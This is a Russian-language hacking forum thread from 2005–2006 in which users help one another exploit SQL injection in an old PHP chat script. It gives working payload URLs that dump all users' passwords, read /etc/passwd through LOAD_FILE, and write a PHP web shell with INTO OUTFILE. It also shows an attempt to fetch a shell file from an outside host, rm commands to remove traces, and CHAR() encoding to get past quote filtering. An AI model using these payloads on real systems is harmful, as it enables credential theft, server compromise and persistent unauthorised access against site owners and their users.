Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   sql-injection (https://forum.antichat.xyz/showthread.php?t=10240)

insidex 22.10.2005 20:37

sql-injection
 
Уважаемые,очень прошу помочь мне разобраться со следующей конструкцией:

На одном сервере установлен древний php скрипт одного чата с mysql базой.
Уязвимость заключается в скрипте редактирование профайла пользователей.Пример Запрос,типа

http://mysite.com/chе/usrs.php?L=russia&R='%20UNION%20SELECT%20pass,null ,null, null%20FROM%20%20register_user%20/*

выдаст нам из таблицы register_user все пароли зарегестрированных пользователей. Таким образом можно узнать все данные из базы данных.

А теперь самое интересное,как мне модифицировать запрос,чтобы я смог работать(просматривать) файлы на сервере.Буду очень благодарен!

virgoz 23.10.2005 14:35

Вот так, если у тебя хватит прав:
Цитата:

http://mysite.com/chat/usersL.php3?L=russian&R='+UNION+SELECT+LOAD_FILE('/etc/passwd'),null,null,null+FROM+register_user/*
/etc/passwd заменяй, на нужный файл.

insidex 24.10.2005 17:09

Спасибо за помощь! Очень помог!!!! Кста как ты правильно первый файл указал)))


p.s. please change your last post (address)

И еще один вопрос: возможно ли получить список файлов в какой-либо директории при помощи данной injection (права позволяют)

virgoz 24.10.2005 22:11

Нет, читать содержимое директорий не получится.
Но если тебе хватает прав на чтение файлов, то можешь попробовать следующие вещи:
1. Залить шелл:
Цитата:

http://mysite.com/chat/usersL.php3?L=russian&R='+UNION+SELECT+'<?php',nul l,null,null+FROM+register_user+into+outfile+'../shell.php'/*
Дальше по анологии. Только не забудь поменять директорию, где есть права на запись.
2. Просмотри поле mysql.user.password в таблице mysql.user.

insidex 24.10.2005 22:40

Блина емое,а как очистить.удалить файл поспешно созданный на сервере? Возможно такое?Спасибо.

bul666 25.10.2005 00:24

<? system ("rm файл"); ?> Честно говоря не помню Как в Линуксе удаление... )))))

virgoz 25.10.2005 20:08

Ну шелл залей, а потом из него, как bul666 сказал: rm -rf ./file.php

insidex 07.11.2005 09:43

http://site.com/vivat.php?r=russian&R='+UNION+SELECT+LOAD_FILE('ht tp://www.hiliv.narod.ru/shell.txt') ,null,null,null+FROM+reg_user+into+outfile+'/usr/local/www/site.com/picnic/shell.php'/*

На месте,где указан http адрес шелла http://www.hiliv.narod.ru/shell.txt, MySql громко икает с собщением об обшибке.Думаю виной здесь двойной слеш //. Можно ли как-то сформировать в данном случае успешный запрос.Заранее Приношу извинения за назойливость и огромное спасибо.

insidex 07.11.2005 09:54

Забыл написать:
Выкидывается ошибка "MySQL error: 13 (Can't get stat of 'http:/www.hiliv.narod.ru/shell.txt'' (Errcode: 2)) "

k1b0rg 07.11.2005 11:44

тык наверное mysql ищет файл указаный loadfile у себя, а не на удаленной тачке.

virgoz 07.11.2005 17:21

insidex, LOAD_FILE('http://www.hiliv.narod.ru/shell.txt') так нельзя, можно читать только локальные файлы. Также у тебя должны быть права на чтение этого файла и он не должен превышать определенного размера, установленного на сервере.

insidex 07.11.2005 22:18

Спасибо за информацию! Ну тогла скажите,возможно ли записать через эту уязвимость в файл на сервере то,что у k1b0rg в подписи:)

virgoz 07.11.2005 22:40

А так как я тебе предлагал, не работает?
Цитата:

http://mysite.com/chat/usersL.php3?L=russian&R='+UNION+SELECT+'<?php',nul l,null,null+FROM+register_user+into+outfi le+'../shell.php'/*

insidex 07.11.2005 22:52

К сожалению нет,пишет зараза:
MySQL error: 1267 (Illegal mix of collations (utf8_general_ci,IMPLICIT) and (cp1251_general_ci,COERCIBLE) for operation 'UNION')

Yuryus 11.10.2006 20:13

Подскажите Ньюбу
Есть инъекция. Хочу сформировать запрос на заливку шела.
Кавычки не прокатывают. Хочу использовать функцию Char.
Внимание вопрос. Есть ли какой то простой вариант приобразовывать строку в Char символы?
Т.е. В виде примера ('/etc/passwd') в строку типа ,(char(47,101,116,99,47,112,97,115,115,119,100))
соответственно хочется конвертить свою строку.
Заранее спасиба.

+toxa+ 12.10.2006 01:57

http://quest.antichat.net/code.php

мм....?

Yuryus 13.10.2006 00:58

Tnx


Время: 14:55